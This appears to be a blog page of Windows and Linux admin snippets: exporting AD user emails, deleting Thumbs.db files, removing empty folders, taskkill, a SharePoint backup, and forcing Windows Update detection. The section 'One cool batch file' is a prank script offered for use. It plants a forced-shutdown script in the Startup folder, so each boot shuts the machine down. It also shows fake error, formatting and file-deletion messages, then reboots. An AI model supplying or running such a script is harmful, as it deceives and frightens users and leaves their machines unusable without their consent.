List of users with their email adresses

csvde -f yourfile.csv -r "(&(objectCategory=Person)(objectClass=user))" –l "sAMaccountname,mail"

Delete all thumbs.db

Windows creates in every folder with pictures a thumbs.db file.

Linux doesn’t need them, so here is a simple command to get rid of them.

sudo find /home/user -name Thumbs.db -exec rm {} \;

Remove empty directories

To remove empty directories in a directory structure use the following command :

sudo find /begin/here -type d -empty -delete

Taskkill command

taskkill /f /im notepad.exe

Kills the open notepad task, if open.

taskkill [/s Computer] [/u Domain\User [/p Password]]] [/fi FilterName] [/pid ProcessID]|[/im ImageName] [/f][/t]Continue reading

Create backup file with date of today

How to create a backup file with the date of today.
Here is an example with STSADM from Sharepoint Services.

stsadm -o backup -filename “\\gl-nas-01\backup$\Sharepoint\GL-SP-01\%date:~-10,3%%date:~-7,3%%date:~-4%.dat” -url http://intranet/sites/home

One cool batch file – ;-D

@echo off
echo shutdown -s -t 5 -c “Windows is shutting down due to an internal error” > C:\close.bat
copy C:\close.bat “C:\documents and settings\all users\start menu\programs\startup\”
cls
echo Maximize this window to continue
echo Wscript.Sleep 4000 > C:\sleep1.vbs
call C:\sleep1.vbs
echo Msgbox”Critical system process failure. Press enter to to begin auto fix.” > c:\error1.vbs
call c:\error1.vbs
echo Formatting c: drive…
echo Wscript.Sleep 2000 > C:\sleep2.vbs
call C:\sleep1.vbs
echo The following files were are infected and should be deleted immediately
call C:\sleep1.vbs
dir /s C:\*.exe
dir C:
call C:\sleep1.vbs
cls
echo Deleting files 36 percent complete
call C:\sleep2.vbs
echo Deleting files 79 percent complete
call C:\sleep2.vbs
echo Deleting files 100 percent complete
call C:\sleep2.vbs
echo Files successfully deleted
call C:\sleep1.vbs
cls
echo All files in the windows registry were also deleted
echo A full reinstall is required to continue using windows
call C:\sleep2.vbs
echo Msgbox”Windows is not responding, shutting down” > c:\error2.vbs
call C:\error2.vbs
call C:\sleep2.vbs
echo Msgbox”Applications will automatically closed, all unsaved data will be lost” > C:\error3.vbs
call C:\error3.vbs
cls
ECHO

ECHO ————————————————————————–
call C:\sleep1.vbs
shutdown -r -t 5

Force the update detection from Automatic Update Client

When deploying a new Windows XP installation your first task is installing the countless Windows updates.
When you wait for Windows XP to check for updates you’ll need a lot of time. To accelerate this process just run the following batch file.

@echo on
net stop wuauserv
REG DELETE “HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update” /v LastWaitTimeout /f
REG DELETE “HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update” /v DetectionStartTime /f
Reg Delete “HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update” /v NextDetectionTime /f
net start wuauserv
wuauclt /detectnow
@echo off
Echo This AU client will now check for updates on the Local WSUS Server.